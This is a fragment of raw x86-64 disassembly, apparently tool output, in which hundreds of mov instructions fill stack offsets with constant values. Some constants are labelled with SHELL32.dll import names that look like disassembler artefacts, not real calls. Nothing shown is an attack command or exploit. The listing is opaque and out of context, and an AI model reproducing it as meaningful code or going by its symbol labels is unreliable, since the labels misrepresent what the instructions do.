mov dword [rsp + 0x3f34], 0x45ba
mov eax, 0x722
mov word [rsp + 0x1280], ax
mov dword [rsp + 0x3f38], 0x80f6
movabs rax, 0x7145da09b368ec
mov qword [rsp + 0x8270], rax
movabs rax, 0x700d60168867d1
mov qword [rsp + 0x8278], rax
movabs rax, 0x7097f67d234397
mov qword [rsp + 0x8280], rax
movabs rax, 0x76b12f297be1f8
mov qword [rsp + 0x8288], rax
mov byte [rsp + 0x1b3], reloc.SHELL32.dll_ILFindLastID
movabs rax, 0x7b9cbbf0d38f47
mov qword [rsp + 0x8290], rax
movabs rax, 0x7eb7eb398bbf7c
mov qword [rsp + 0x8298], rax
mov eax, 0x687
mov word [rsp + 0x1284], ax
mov dword [rsp + 0x3f3c], 0x5dba5f11
movabs rax, 0x7796979ca1f3c6
mov qword [rsp + 0x82a0], rax
mov byte [rsp + 0x1b4], 0x69
mov byte [rsp + 0x1b5], 0x5c
mov eax, 0x433
mov word [rsp + 0x1288], ax
mov eax, 0xd03
mov word [rsp + 0x128c], ax
mov byte [rsp + 0x1b6], 0xa4
mov eax, 0x3f9
mov word [rsp + 0x1290], ax
mov byte [rsp + 0x1b7], 0xdc
mov eax, 0x2ec
mov word [rsp + 0x1294], ax
mov eax, 0x198
mov word [rsp + 0x1298], ax
mov eax, 0x1c2
mov word [rsp + 0x129c], ax
mov eax, 0x53b
mov word [rsp + 0x12a0], ax
mov dword [rsp + 0x3f40], 0x7811
mov dword [rsp + 0x3f44], 0x536b
mov byte [rsp + 0x1b8], 0x62
mov dword [rsp + 0x3f48], 0xa33b
mov byte [rsp + 0x1b9], SHGetNewLinkInfoW
mov eax, 0x214
mov word [rsp + 0x12a4], ax
mov eax, 0x678
mov word [rsp + 0x12a8], ax
movabs rax, 0x7e59659f085494
mov qword [rsp + 0x82a8], rax
mov byte [rsp + 0x1ba], ILIsParent
mov eax, 0xecf
mov word [rsp + 0x12ac], ax
movabs rax, 0x715ef919b46d51
mov qword [rsp + 0x82b0], rax
mov eax, 0x88
mov word [rsp + 0x12b0], ax
movabs rax, 0x75e8997130bb3e
mov qword [rsp + 0x82b8], rax
mov eax, 0xd56
mov word [rsp + 0x12b4], ax
mov dword [rsp + 0x3f4c], 0x5627a27c
mov byte [rsp + 0x1bb], 0x2d
movabs rax, 0x7625b5dd5b3920
mov qword [rsp + 0x82c0], rax
mov eax, 0x2a2
mov word [rsp + 0x12b8], ax
mov byte [rsp + 0x1bc], 0x3b
mov eax, 0xa09
mov word [rsp + 0x12bc], ax
mov eax, 0x55e
mov word [rsp + 0x12c0], ax
mov eax, 0x63f
mov word [rsp + 0x12c4], ax
movabs rax, 0x704c659233ef79
mov qword [rsp + 0x82c8], rax
mov byte [rsp + 0x1bd], PathYetAnotherMakeUniqueName
mov eax, 0x66d
mov word [rsp + 0x12c8], ax
mov eax, 0x32f
mov word [rsp + 0x12cc], ax
mov eax, 0x70e
mov word [rsp + 0x12d0], ax
movabs rax, 0x721137b0e943de
mov qword [rsp + 0x82d0], rax
movabs rax, 0x73d2d69f5676c4
mov qword [rsp + 0x82d8], rax
movabs rax, 0x737fe826bee9b8
mov qword [rsp + 0x82e0], rax
mov eax, 0x52b
mov word [rsp + 0x12d4], ax
movabs rax, 0x7e67e1bf2c6ea0
mov qword [rsp + 0x82e8], rax
mov eax, 0x345
mov word [rsp + 0x12d8], ax
mov eax, 0x196
mov word [rsp + 0x12dc], ax
mov eax, 0xbb
mov word [rsp + 0x12e0], ax
movabs rax, 0x7959d394cead8d
mov qword [rsp + 0x82f0], rax
movabs rax, 0x753a530306bbcc
mov qword [rsp + 0x82f8], rax
mov byte [rsp + 0x1be], 0
mov eax, 0x16c
mov word [rsp + 0x12e4], ax
movabs rax, 0x721863f654a67c
mov qword [rsp + 0x8300], rax
mov eax, 0x67d
mov word [rsp + 0x12e8], ax
mov byte [rsp + 0x1bf], 0x35
mov eax, 0xd68
mov word [rsp + 0x12ec], ax
mov eax, 0x7d4
mov word [rsp + 0x12f0], ax
movabs rax, 0x75793982dcc293
mov qword [rsp + 0x8308], rax
mov dword [rsp + 0x3f50], 0x9885
mov eax, 0x435
mov word [rsp + 0x12f4], ax
mov eax, 0x3ae
mov word [rsp + 0x12f8], ax
movabs rax, 0x7b7a8d5fc30475
mov qword [rsp + 0x8310], rax
movabs rax, 0x7e486b135617c3
mov qword [rsp + 0x8318], rax
mov byte [rsp + 0x1c0], PathYetAnotherMakeUniqueName
mov eax, 0xb36
mov word [rsp + 0x12fc], ax
mov dword [rsp + 0x3f54], 0xcf09
movabs rax, 0x71ecb1cc811689
mov qword [rsp + 0x8320], rax
mov eax, 0xdb
mov word [rsp + 0x1300], ax
mov eax, 0xf5
mov word [rsp + 0x1304], ax
movabs rax, 0x7b26fe9e819ebc
mov qword [rsp + 0x8328], rax
mov byte [rsp + 0x1c1], 0x7c
movabs rax, 0x74f47e4d88ed35
mov qword [rsp + 0x8330], rax
mov eax, 0xd88
mov word [rsp + 0x1308], ax
mov byte [rsp + 0x1c2], ILIsParent
mov eax, 0xcde
mov word [rsp + 0x130c], ax
mov dword [rsp + 0x3f58], 0x979d
mov eax, 0x488
mov word [rsp + 0x1310], ax
mov dword [rsp + 0x3f5c], 0x1a3abd97
mov dword [rsp + 0x3f60], 0xe5f7
movabs rax, 0x7218e52926bf92
mov qword [rsp + 0x8338], rax
movabs rax, 0x7beb9638371349
mov qword [rsp + 0x8340], rax
movabs rax, 0x7edc1891b5f78d
mov qword [rsp + 0x8348], rax
mov eax, 0xbee
mov word [rsp + 0x1314], ax
movabs rax, 0x7108683f898c61
mov qword [rsp + 0x8350], rax
mov eax, 0xcd8
mov word [rsp + 0x1318], ax
mov byte [rsp + 0x1c3], 0x66
movabs rax, 0x7ab6c279dd0ee4
mov qword [rsp + 0x8358], rax
mov dword [rsp + 0x3f64], 0x5ce09c64
mov dword [rsp + 0x3f68], 0x16c7
mov dword [rsp + 0x3f6c], 0x4881fdbc
mov byte [rsp + 0x1c4], 0x30
mov dword [rsp + 0x3f70], 0x3fa
movabs rax, 0x71f27c8d2a0f9b
mov qword [rsp + 0x8360], rax
mov byte [rsp + 0x1c5], 0x8e
mov dword [rsp + 0x3f74], 0x3a9cc5e4
mov eax, 0x978
mov word [rsp + 0x131c], ax
mov byte [rsp + 0x1c6], 0x86
mov dword [rsp + 0x3f78], 0xbe5b
movabs rax, 0x74a180e14281b9
mov qword [rsp + 0x8368], rax
mov eax, 0x1c0
mov word [rsp + 0x1320], ax
movabs rax, 0x72c99ae67b26fb
mov qword [rsp + 0x8370], rax
mov byte [rsp + 0x1c7], 0x3c
mov eax, 0x918
mov word [rsp + 0x1324], ax
mov eax, 0x6a
mov word [rsp + 0x1328], ax
mov byte [rsp + 0x1c8], 0x34
movabs rax, 0x7c60f3f597d530
mov qword [rsp + 0x8378], rax
movabs rax, 0x7d3533aca538ed
mov qword [rsp + 0x8380], rax
movabs rax, 0x7a1a175920fcf6
mov qword [rsp + 0x8388], rax
movabs rax, 0x7e148380e5d719
mov qword [rsp + 0x8390], rax
movabs rax, 0x739e6e3c977bad
mov qword [rsp + 0x8398], rax
mov eax, 0x744
mov word [rsp + 0x132c], ax
movabs rax, 0x7d92e65c50f5af
mov qword [rsp + 0x83a0], rax
movabs rax, 0x7416c1863fc1be
mov qword [rsp + 0x83a8], rax
movabs rax, 0x784e914eb5bb46
mov qword [rsp + 0x83b0], rax
mov eax, 0x52a
mov word [rsp + 0x1330], ax
mov eax, 0xded
mov word [rsp + 0x1334], ax
mov byte [rsp + 0x1c9], 0x6c
mov eax, 0x17d
mov word [rsp + 0x1338], ax
mov dword [rsp + 0x3f7c], 0x2aed631d
movabs rax, 0x71b4d091474618
mov qword [rsp + 0x83b8], rax
mov eax, 0xee4
mov word [rsp + 0x133c], ax
mov dword [rsp + 0x3f80], 0x4a8f42ad
mov dword [rsp + 0x3f84], 0x53e58fcf
movabs rax, 0x760898c85da4d5
mov qword [rsp + 0x83c0], rax
mov eax, 0xff
mov word [rsp + 0x1340], ax
mov eax, 0x54b
mov word [rsp + 0x1344], ax
mov eax, 0xb87
mov word [rsp + 0x1348], ax
mov eax, 0x76b
mov word [rsp + 0x134c], ax
movabs rax, 0x7cbfb27b9006f2
mov qword [rsp + 0x83c8], rax
mov byte [rsp + 0x1ca], 0xbc
mov dword [rsp + 0x3f88], 0xf2df
mov eax, 0xbda
mov word [rsp + 0x1350], ax
mov dword [rsp + 0x3f8c], 0x1761
movabs rax, 0x7c888b352fdc25
mov qword [rsp + 0x83d0], rax
movabs rax, 0x7b3510fe69ae88
mov qword [rsp + 0x83d8], rax
movabs rax, 0x7ea9ae5a05d0b9
mov qword [rsp + 0x83e0], rax
mov byte [rsp + 0x1cb], 0x7d
mov byte [rsp + 0x1cc], SHDoDragDrop
movabs rax, 0x7eec0fe311cde7
mov qword [rsp + 0x83e8], rax
mov eax, 0x717
mov word [rsp + 0x1354], ax
mov byte [rsp + 0x1cd], 0x78
mov eax, 0x3f8
mov word [rsp + 0x1358], ax
movabs rax, 0x73cb504ce51411
mov qword [rsp + 0x83f0], rax
mov byte [rsp + 0x1ce], 0x74
mov eax, 0x3bb
mov word [rsp + 0x135c], ax
mov dword [rsp + 0x3f90], 0xbd85
mov dword [rsp + 0x3f94], 0xd8f
mov eax, 0x25c
mov word [rsp + 0x1360], ax
movabs rax, 0x7187ab3f6df905
mov qword [rsp + 0x83f8], rax
movabs rax, 0x7b816fa2b1ef17
mov qword [rsp + 0x8400], rax
mov byte [rsp + 0x1cf], 0x41
mov eax, 0x3db
mov word [rsp + 0x1364], ax
movabs rax, 0x7a8323f00ecdc8
mov qword [rsp + 0x8408], rax
movabs rax, 0x70b4b3d7c9069a
mov qword [rsp + 0x8410], rax
movabs rax, 0x7683b8b942492d
mov qword [rsp + 0x8418], rax
mov eax, 0x438
mov word [rsp + 0x1368], ax
mov byte [rsp + 0x1d0], 0x66
mov byte [rsp + 0x1d1], 0x3d
mov dword [rsp + 0x3f98], 0x698ba7db
mov dword [rsp + 0x3f9c], 0x5db63d78
mov dword [rsp + 0x3fa0], 0x7b7b8e5d
mov dword [rsp + 0x3fa4], 0x5350
mov eax, 0x1f6
mov word [rsp + 0x136c], ax
movabs rax, 0x7cb2444e750d00
mov qword [rsp + 0x8420], rax
movabs rax, 0x7ddc71013b8b14
mov qword [rsp + 0x8428], rax
mov eax, 0xad0
mov word [rsp + 0x1370], ax
mov eax, 0x13f
mov word [rsp + 0x1374], ax
movabs rax, 0x795ac1ef70b6ab
mov qword [rsp + 0x8430], rax
movabs rax, 0x7355f32710e1e5
mov qword [rsp + 0x8438], rax
movabs rax, 0x7126b19a786b0f
mov qword [rsp + 0x8440], rax
movabs rax, 0x7655c2056e85ea
mov qword [rsp + 0x8448], rax
mov byte [rsp + 0x1d2], 0x5f
mov byte [rsp + 0x1d3], 0x23
movabs rax, 0x755dfdafae02a4
mov qword [rsp + 0x8450], rax
mov eax, 0x2de
mov word [rsp + 0x1378], ax
mov byte [rsp + 0x1d4], 0x24
mov eax, 0x619
mov word [rsp + 0x137c], ax
mov byte [rsp + 0x1d5], 0xc2
mov eax, 0xc5
mov word [rsp + 0x1380], ax
mov eax, 0x243
mov word [rsp + 0x1384], ax
mov byte [rsp + 0x1d6], 0x50
movabs rax, 0x7c2538bdeb0061
mov qword [rsp + 0x8458], rax
mov eax, 0xd7d
mov word [rsp + 0x1388], ax
mov eax, 0x26a
mov word [rsp + 0x138c], ax
mov dword [rsp + 0x3fa8], 0x3c40
mov eax, 0x7e7
mov word [rsp + 0x1390], ax
mov eax, 0x7f9
mov word [rsp + 0x1394], ax
mov eax, 0x311
mov word [rsp + 0x1398], ax
mov dword [rsp + 0x3fac], 0xd5f8
mov eax, 0xc5
mov word [rsp + 0x139c], ax
mov dword [rsp + 0x3fb0], 0x4021
mov dword [rsp + 0x3fb4], 0xa81f
movabs rax, 0x71baa3640529b0
mov qword [rsp + 0x8460], rax
mov eax, 0x529
mov word [rsp + 0x13a0], ax
movabs rax, 0x7340e565e7f980
mov qword [rsp + 0x8468], rax
mov byte [rsp + 0x1d7], SHDoDragDrop
movabs rax, 0x7e660cd5c81813
mov qword [rsp + 0x8470], rax
movabs rax, 0x7b9175a209e054
mov qword [rsp + 0x8478], rax
mov eax, 0x911
mov word [rsp + 0x13a4], ax
mov dword [rsp + 0x3fb8], 0x26e2
mov dword [rsp + 0x3fbc], 0x2194
movabs rax, 0x7efaf04ff3675e
mov qword [rsp + 0x8480], rax
movabs rax, 0x7052f2378b64a2
mov qword [rsp + 0x8488], rax
mov byte [rsp + 0x1d8], 0x37
mov dword [rsp + 0x3fc0], 0x1b1d7849
movabs rax, 0x7d442d6e52c94a
mov qword [rsp + 0x8490], rax
mov eax, 0x607
mov word [rsp + 0x13a8], ax
mov byte [rsp + 0x1d9], SHDoDragDrop
mov byte [rsp + 0x1da], 0x62
mov byte [rsp + 0x1db], reloc.SHELL32.dll_SHDoDragDrop
mov byte [rsp + 0x1dc], 0xc0
mov eax, 0xb55
mov word [rsp + 0x13ac], ax
mov eax, 0x16d
mov word [rsp + 0x13b0], ax
mov eax, 0x100
mov word [rsp + 0x13b4], ax
mov eax, 0x100
mov word [rsp + 0x13b8], ax
movabs rax, 0x738ed2623dd972
mov qword [rsp + 0x8498], rax
mov dword [rsp + 0x3fc4], 0xcaa7
movabs rax, 0x76f16b82141c00
mov qword [rsp + 0x84a0], rax
mov byte [rsp + 0x1dd], 0x2e
mov eax, 0xf27
mov word [rsp + 0x13bc], ax
mov eax, 0x150
mov word [rsp + 0x13c0], ax
mov dword [rsp + 0x3fc8], 0x1b4b3344
movabs rax, 0x706ab0848963c4
mov qword [rsp + 0x84a8], rax
mov eax, 0x573
mov word [rsp + 0x13c4], ax
mov eax, 0x658
mov word [rsp + 0x13c8], ax
mov eax, 0x4b8
mov word [rsp + 0x13cc], ax
movabs rax, 0x790fb6ad76cef5
mov qword [rsp + 0x84b0], rax
mov eax, 0x77f
mov word [rsp + 0x13d0], ax
mov eax, 0x692
mov word [rsp + 0x13d4], ax
mov dword [rsp + 0x3fcc], 0x79cdc5f2
mov eax, 0x5b1
mov word [rsp + 0x13d8], ax
mov byte [rsp + 0x1de], 0xd1
movabs rax, 0x71b9f4b14a06d1
mov qword [rsp + 0x84b8], rax
mov byte [rsp + 0x1df], 0x68
movabs rax, 0x78c3e7bcb31c24
mov qword [rsp + 0x84c0], rax
mov eax, 0x370
mov word [rsp + 0x13dc], ax
movabs rax, 0x70a033a760cdf0
mov qword [rsp + 0x84c8], rax
mov eax, 0x607
mov word [rsp + 0x13e0], ax
mov eax, 0x210
mov word [rsp + 0x13e4], ax
movabs rax, 0x7a818755a5b99e
mov qword [rsp + 0x84d0], rax
movabs rax, 0x7926b40c680306
mov qword [rsp + 0x84d8], rax
mov eax, 0x605
mov word [rsp + 0x13e8], ax
mov byte [rsp + 0x1e0], 0x24
mov dword [rsp + 0x3fd0], 0xf6c5
mov eax, 0xbff
mov word [rsp + 0x13ec], ax
mov byte [rsp + 0x1e1], 7
mov dword [rsp + 0x3fd4], 0x36a3
mov dword [rsp + 0x3fd8], 0xfc26
mov dword [rsp + 0x3fdc], 0x4f6ce5b7
movabs rax, 0x7024a9f72df2c9
mov qword [rsp + 0x84e0], rax
mov eax, 0xbe4
mov word [rsp + 0x13f0], ax
movabs rax, 0x71a56cf2249ddc
mov qword [rsp + 0x84e8], rax
mov eax, 0x222
mov word [rsp + 0x13f4], ax
movabs rax, 0x78a206ad03d882
mov qword [rsp + 0x84f0], rax
mov byte [rsp + 0x1e2], 0x7e
mov byte [rsp + 0x1e3], 0x1f
movabs rax, 0x758be33576654b
mov qword [rsp + 0x84f8], rax
mov eax, 0x95b
mov word [rsp + 0x13f8], ax
mov dword [rsp + 0x3fe0], 0x71d34613
mov dword [rsp + 0x3fe4], 0x4eaf
mov byte [rsp + 0x1e4], 0xa3
mov dword [rsp + 0x3fe8], 0x6db9
movabs rax, 0x7e0fc1243986ac
mov qword [rsp + 0x8500], rax
movabs rax, 0x74a174ab39d620
mov qword [rsp + 0x8508], rax
mov dword [rsp + 0x3fec], 0x43703010
mov byte [rsp + 0x1e5], 0x25
mov eax, 0xba5
mov word [rsp + 0x13fc], ax
mov eax, 0x5b7
mov word [rsp + 0x1400], ax
mov eax, 0x456
mov word [rsp + 0x1404], ax
mov eax, 0x6b6
mov word [rsp + 0x1408], ax
mov eax, 0x856
mov word [rsp + 0x140c], ax
movabs rax, 0x73b1ce88257d50
mov qword [rsp + 0x8510], rax
movabs rax, 0x722a7c88504768
mov qword [rsp + 0x8518], rax
movabs rax, 0x78d013f2f0dcfc
mov qword [rsp + 0x8520], rax
mov byte [rsp + 0x1e6], 0xdb
mov byte [rsp + 0x1e7], SHDoDragDrop
mov dword [rsp + 0x3ff0], 0x44c5
mov eax, 0x635
mov word [rsp + 0x1410], ax
mov dword [rsp + 0x3ff4], 0x7e4b
mov dword [rsp + 0x3ff8], 0x9295
movabs rax, 0x741ce75751d37e
mov qword [rsp + 0x8528], rax
movabs rax, 0x75bcf32bfd23ae
mov qword [rsp + 0x8530], rax
mov eax, 0x642
mov word [rsp + 0x1414], ax
mov dword [rsp + 0x3ffc], 0x280
mov dword [rsp + 0x4000], 0x3485cff8
mov byte [rsp + 0x1e8], 0x62
movabs rax, 0x72453bbc2200f5
mov qword [rsp + 0x8538], rax
mov eax, 0x74
mov word [rsp + 0x1418], ax
mov eax, 0x10f
mov word [rsp + 0x141c], ax
mov eax, 0x693
mov word [rsp + 0x1420], ax
mov dword [rsp + 0x4004], 0x1a7b
mov byte [rsp + 0x1e9], 0
mov eax, 0x3c9
mov word [rsp + 0x1424], ax
mov byte [rsp + 0x1ea], 0x3d
mov byte [rsp + 0x1eb], 0x99
movabs rax, 0x7ac60fe158a3de
mov qword [rsp + 0x8540], rax
mov byte [rsp + 0x1ec], 0x24
mov eax, 0x7c7
mov word [rsp + 0x1428], ax
mov eax, 0x51f
mov word [rsp + 0x142c], ax
mov byte [rsp + 0x1ed], 0x43
mov eax, 0xa71
mov word [rsp + 0x1430], ax
mov dword [rsp + 0x4008], 0xbbc4abb
mov eax, 0x48b
mov word [rsp + 0x1434], ax
mov byte [rsp + 0x1ee], 0x4d
mov byte [rsp + 0x1ef], 0xbf
mov dword [rsp + 0x400c], 0x676a
mov dword [rsp + 0x4010], 0x1b2c372d
mov dword [rsp + 0x4014], 0x7e59e5d9
mov byte [rsp + 0x1f0], 0xb8
movabs rax, 0x7579337b99a66c
mov qword [rsp + 0x8548], rax
mov byte [rsp + 0x1f1], 0x4c
mov eax, 0x20
mov word [rsp + 0x1438], ax
mov eax, 0x8f1
mov word [rsp + 0x143c], ax
mov byte [rsp + 0x1f2], 8
mov byte [rsp + 0x1f3], ILIsParent
mov eax, 0x737
mov word [rsp + 0x1440], ax
mov byte [rsp + 0x1f4], 0xdc
mov eax, 0xe8c
mov word [rsp + 0x1444], ax
mov dword [rsp + 0x4018], 0xb32
mov eax, 0x629
mov word [rsp + 0x1448], ax
movabs rax, 0x7961f3b4108610
mov qword [rsp + 0x8550], rax
mov byte [rsp + 0x1f5], 0x7d
movabs rax, 0x79133736325985
mov qword [rsp + 0x8558], rax
mov eax, 0x658
mov word [rsp + 0x144c], ax
mov eax, 0x530
mov word [rsp + 0x1450], ax
mov dword [rsp + 0x401c], 0x6198fd4d
movabs rax, 0x7c9767f26b7add
mov qword [rsp + 0x8560], rax
mov byte [rsp + 0x1f6], 0x8e
mov dword [rsp + 0x4020], 0xe28c
mov dword [rsp + 0x4024], 0x44859bbd
mov eax, 0xd4
mov word [rsp + 0x1454], ax
mov byte [rsp + 0x1f7], 8
mov eax, 0x2b8
mov word [rsp + 0x1458], ax
movabs rax, 0x7d922e1941e0a7
mov qword [rsp + 0x8568], rax
mov byte [rsp + 0x1f8], 0x3b
mov dword [rsp + 0x4028], 0x3384f0bd
mov dword [rsp + 0x402c], 0x6ae8a6e
movabs rax, 0x7af9e531340878
mov qword [rsp + 0x8570], rax
movabs rax, 0x7deb71858153fe
mov qword [rsp + 0x8578], rax
mov eax, 0xfd7
mov word [rsp + 0x145c], ax
mov byte [rsp + 0x1f9], SHGetNewLinkInfoW
movabs rax, 0x726c4df1d36c30
mov qword [rsp + 0x8580], rax
mov eax, 0x495
mov word [rsp + 0x1460], ax
movabs rax, 0x76d3434913d529
mov qword [rsp + 0x8588], rax
movabs rax, 0x720a07c65307af
mov qword [rsp + 0x8590], rax
mov eax, 0x847
mov word [rsp + 0x1464], ax
mov dword [rsp + 0x4030], 0x2ef8
mov byte [rsp + 0x1fa], 0x2b
mov eax, 0x537
mov word [rsp + 0x1468], ax
mov eax, 0x7c2
mov word [rsp + 0x146c], ax
mov dword [rsp + 0x4034], 0x6124
movabs rax, 0x7582c41fa82c47
mov qword [rsp + 0x8598], rax
movabs rax, 0x7c4fea7085f845
mov qword [rsp + 0x85a0], rax
mov eax, 0x28
mov word [rsp + 0x1470], ax
movabs rax, 0x787a1fa7481fe8
mov qword [rsp + 0x85a8], rax
mov dword [rsp + 0x4038], 0x1100
mov eax, 0x59c
mov word [rsp + 0x1474], ax
mov byte [rsp + 0x1fb], 0x78
mov dword [rsp + 0x403c], 0xc61b
mov eax, 0x171
mov word [rsp + 0x1478], ax
mov dword [rsp + 0x4040], 0x26e980d9
mov dword [rsp + 0x4044], 0x7da1
movabs rax, 0x7a563bdfb7bcb5
mov qword [rsp + 0x85b0], rax
mov dword [rsp + 0x4048], 0xaefd
mov byte [rsp + 0x1fc], 0x89
movabs rax, 0x7d73a21f6d26ee
mov qword [rsp + 0x85b8], rax
movabs rax, 0x736842c7a19935
mov qword [rsp + 0x85c0], rax
mov dword [rsp + 0x404c], 0x5d0
mov eax, 0xda6
mov word [rsp + 0x147c], ax
mov eax, 0x4c3
mov word [rsp + 0x1480], ax
mov dword [rsp + 0x4050], 0xdd67
movabs rax, 0x745b4b07b744c7
mov qword [rsp + 0x85c8], rax
mov dword [rsp + 0x4054], 0x65a8
mov byte [rsp + 0x1fd], 0x75
movabs rax, 0x7b85cebf84685d
mov qword [rsp + 0x85d0], rax
mov byte [rsp + 0x1fe], 0x24
mov eax, 0xeef
mov word [rsp + 0x1484], ax
movabs rax, 0x71bbc7a4396297
mov qword [rsp + 0x85d8], rax
mov eax, 0x113
mov word [rsp + 0x1488], ax
movabs rax, 0x792fbb725a0b49
mov qword [rsp + 0x85e0], rax
mov byte [rsp + 0x1ff], 0x2f
movabs rax, 0x7ab206d8aa7c68
mov qword [rsp + 0x85e8], rax
mov byte [rsp + 0x200], 0x36
mov eax, 0xec8
mov word [rsp + 0x148c], ax
movabs rax, 0x7b1754e649a331
mov qword [rsp + 0x85f0], rax
mov eax, reloc.SHELL32.dll_SHChangeNotification_Lock
mov word [rsp + 0x1490], ax
mov dword [rsp + 0x4058], 0x3e47f5ed
mov dword [rsp + 0x405c], 0x5ef5fc57
mov byte [rsp + 0x201], SHDoDragDrop
movabs rax, 0x7c0364629cadb7
mov qword [rsp + 0x85f8], rax
movabs rax, 0x7e4d45e43c817e
mov qword [rsp + 0x8600], rax
mov dword [rsp + 0x4060], 0xf25bda9
mov byte [rsp + 0x202], SHSetInstanceExplorer
mov byte [rsp + 0x203], 0x67
mov byte [rsp + 0x204], 0xdc
movabs rax, 0x73ed6b7d79a6eb
mov qword [rsp + 0x8608], rax
movabs rax, 0x70250445e5b6dd
mov qword [rsp + 0x8610], rax
movabs rax, 0x76b84ac275e244
mov qword [rsp + 0x8618], rax
movabs rax, 0x77dac285bbfb6d
mov qword [rsp + 0x8620], rax
movabs rax, 0x71344afd7c3437
mov qword [rsp + 0x8628], rax
mov byte [rsp + 0x205], 0xe2
movabs rax, 0x75c2cfdb1ec176
mov qword [rsp + 0x8630], rax
mov eax, 0x368
mov word [rsp + 0x1494], ax
movabs rax, 0x7089a60e137b40
mov qword [rsp + 0x8638], rax
mov eax, 0x764
mov word [rsp + 0x1498], ax
mov byte [rsp + 0x206], 0x75
mov dword [rsp + 0x4064], 0x5333d1e6
movabs rax, 0x793a1c2a338b56
mov qword [rsp + 0x8640], rax
mov dword [rsp + 0x4068], 0xf259
mov dword [rsp + 0x406c], 0xa44a
mov eax, 0x3a0
mov word [rsp + 0x149c], ax
mov eax, 0x401
mov word [rsp + 0x14a0], ax
mov eax, 0x59c
mov word [rsp + 0x14a4], ax
movabs rax, 0x72b904e69ba0ff
mov qword [rsp + 0x8648], rax
movabs rax, 0x7183ca3b2d0df1
mov qword [rsp + 0x8650], rax
movabs rax, 0x73b0ef5d2c8cdf
mov qword [rsp + 0x8658], rax
mov byte [rsp + 0x207], 0x38
movabs rax, 0x749dbe3e3f2c2f
mov qword [rsp + 0x8660], rax
mov byte [rsp + 0x208], 0xc0
mov dword [rsp + 0x4070], 0x6119a070
mov dword [rsp + 0x4074], 0x86d6
mov byte [rsp + 0x209], 0x6b
movabs rax, 0x79036f816ea367
mov qword [rsp + 0x8668], rax
mov eax, 0x22f
mov word [rsp + 0x14a8], ax
movabs rax, 0x7e9ef7d3155c73
mov qword [rsp + 0x8670], rax
movabs rax, 0x7157700c35fc2c
mov qword [rsp + 0x8678], rax
mov byte [rsp + 0x20a], 0x2c
movabs rax, 0x74104d403405bc
mov qword [rsp + 0x8680], rax
movabs rax, 0x792a74e9760fed
mov qword [rsp + 0x8688], rax
mov eax, 0x4d9
mov word [rsp + 0x14ac], ax
movabs rax, 0x7b5448926e46a1
mov qword [rsp + 0x8690], rax
movabs rax, 0x7b831ab181239c
mov qword [rsp + 0x8698], rax
movabs rax, 0x7558bb8a75c5ba
mov qword [rsp + 0x86a0], rax
mov eax, 0xdd8
mov word [rsp + 0x14b0], ax
movabs rax, 0x75f3289c4d4dbf
mov qword [rsp + 0x86a8], rax
mov dword [rsp + 0x4078], 0x32e4
mov dword [rsp + 0x407c], 0x4f54
mov eax, 0x4a5
mov word [rsp + 0x14b4], ax
mov dword [rsp + 0x4080], 0x9ea1
mov byte [rsp + 0x20b], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov byte [rsp + 0x20c], 0x34
movabs rax, 0x79b70947b3ddaa
mov qword [rsp + 0x86b0], rax
mov byte [rsp + 0x20d], 0x41
movabs rax, 0x79ad7100841500
mov qword [rsp + 0x86b8], rax
movabs rax, 0x7bf226ad5b8fb8
mov qword [rsp + 0x86c0], rax
mov eax, 0xa57
mov word [rsp + 0x14b8], ax
mov eax, 0x7bd
mov word [rsp + 0x14bc], ax
movabs rax, 0x7c6cad0204c2d5
mov qword [rsp + 0x86c8], rax
movabs rax, 0x7051ca49a85555
mov qword [rsp + 0x86d0], rax
mov byte [rsp + 0x20e], 0x2d
mov eax, 0x921
mov word [rsp + 0x14c0], ax
mov eax, SHGetNewLinkInfoW
mov word [rsp + 0x14c4], ax
movabs rax, 0x7ce00cb0ecb619
mov qword [rsp + 0x86d8], rax
mov dword [rsp + 0x4084], 0x63a4
movabs rax, 0x786d51183b3310
mov qword [rsp + 0x86e0], rax
mov dword [rsp + 0x4088], 0xe6e7
movabs rax, 0x7ad3191740b5a3
mov qword [rsp + 0x86e8], rax
movabs rax, 0x73e90537ec04b8
mov qword [rsp + 0x86f0], rax
movabs rax, 0x77e391208f9145
mov qword [rsp + 0x86f8], rax
mov byte [rsp + 0x20f], 0x23
mov byte [rsp + 0x210], 0x3f
mov eax, 0x263
mov word [rsp + 0x14c8], ax
mov eax, 0x220
mov word [rsp + 0x14cc], ax
movabs rax, 0x7e844acbf8eadf
mov qword [rsp + 0x8700], rax
mov eax, 0xb49
mov word [rsp + 0x14d0], ax
mov dword [rsp + 0x408c], 0x847e
mov eax, 0xc18
mov word [rsp + 0x14d4], ax
movabs rax, 0x7e89458703dd1a
mov qword [rsp + 0x8708], rax
mov dword [rsp + 0x4090], 0x3bc9327e
mov dword [rsp + 0x4094], 0x53fb49d4
movabs rax, 0x756264d1274918
mov qword [rsp + 0x8710], rax
movabs rax, 0x73b83192817b99
mov qword [rsp + 0x8718], rax
movabs rax, 0x7c4cc18c94ce08
mov qword [rsp + 0x8720], rax
mov byte [rsp + 0x211], 0x33
movabs rax, 0x717345b6875683
mov qword [rsp + 0x8728], rax
mov eax, 0x513
mov word [rsp + 0x14d8], ax
movabs rax, 0x7e28e44086fe3d
mov qword [rsp + 0x8730], rax
mov dword [rsp + 0x4098], 0x36a6fa86
mov byte [rsp + 0x212], 0x65
mov eax, 0xbe7
mov word [rsp + 0x14dc], ax
mov eax, 0x3d0
mov word [rsp + 0x14e0], ax
mov eax, 0x3b3
mov word [rsp + 0x14e4], ax
mov eax, 0x1ea
mov word [rsp + 0x14e8], ax
movabs rax, 0x712c640e08c441
mov qword [rsp + 0x8738], rax
mov byte [rsp + 0x213], ILIsEqual
mov byte [rsp + 0x214], 0x5b
mov eax, 0x55e
mov word [rsp + 0x14ec], ax
mov dword [rsp + 0x409c], 0x82ba
movabs rax, 0x709d06f4401c22
mov qword [rsp + 0x8740], rax
movabs rax, 0x786b99e90f746b
mov qword [rsp + 0x8748], rax
mov eax, 0x369
mov word [rsp + 0x14f0], ax
movabs rax, 0x78b0caffc02891
mov qword [rsp + 0x8750], rax
mov byte [rsp + 0x215], SHSetInstanceExplorer
mov byte [rsp + 0x216], 0x36
mov dword [rsp + 0x40a0], 0x4e40
mov dword [rsp + 0x40a4], 0x5927f541
mov byte [rsp + 0x217], reloc.SHELL32.dll_ILClone
mov eax, 0x629
mov word [rsp + 0x14f4], ax
mov eax, 0x8c9
mov word [rsp + 0x14f8], ax
mov dword [rsp + 0x40a8], 0x886
mov byte [rsp + 0x218], 0x1c
mov eax, 0x8dd
mov word [rsp + 0x14fc], ax
mov byte [rsp + 0x219], 0x7d
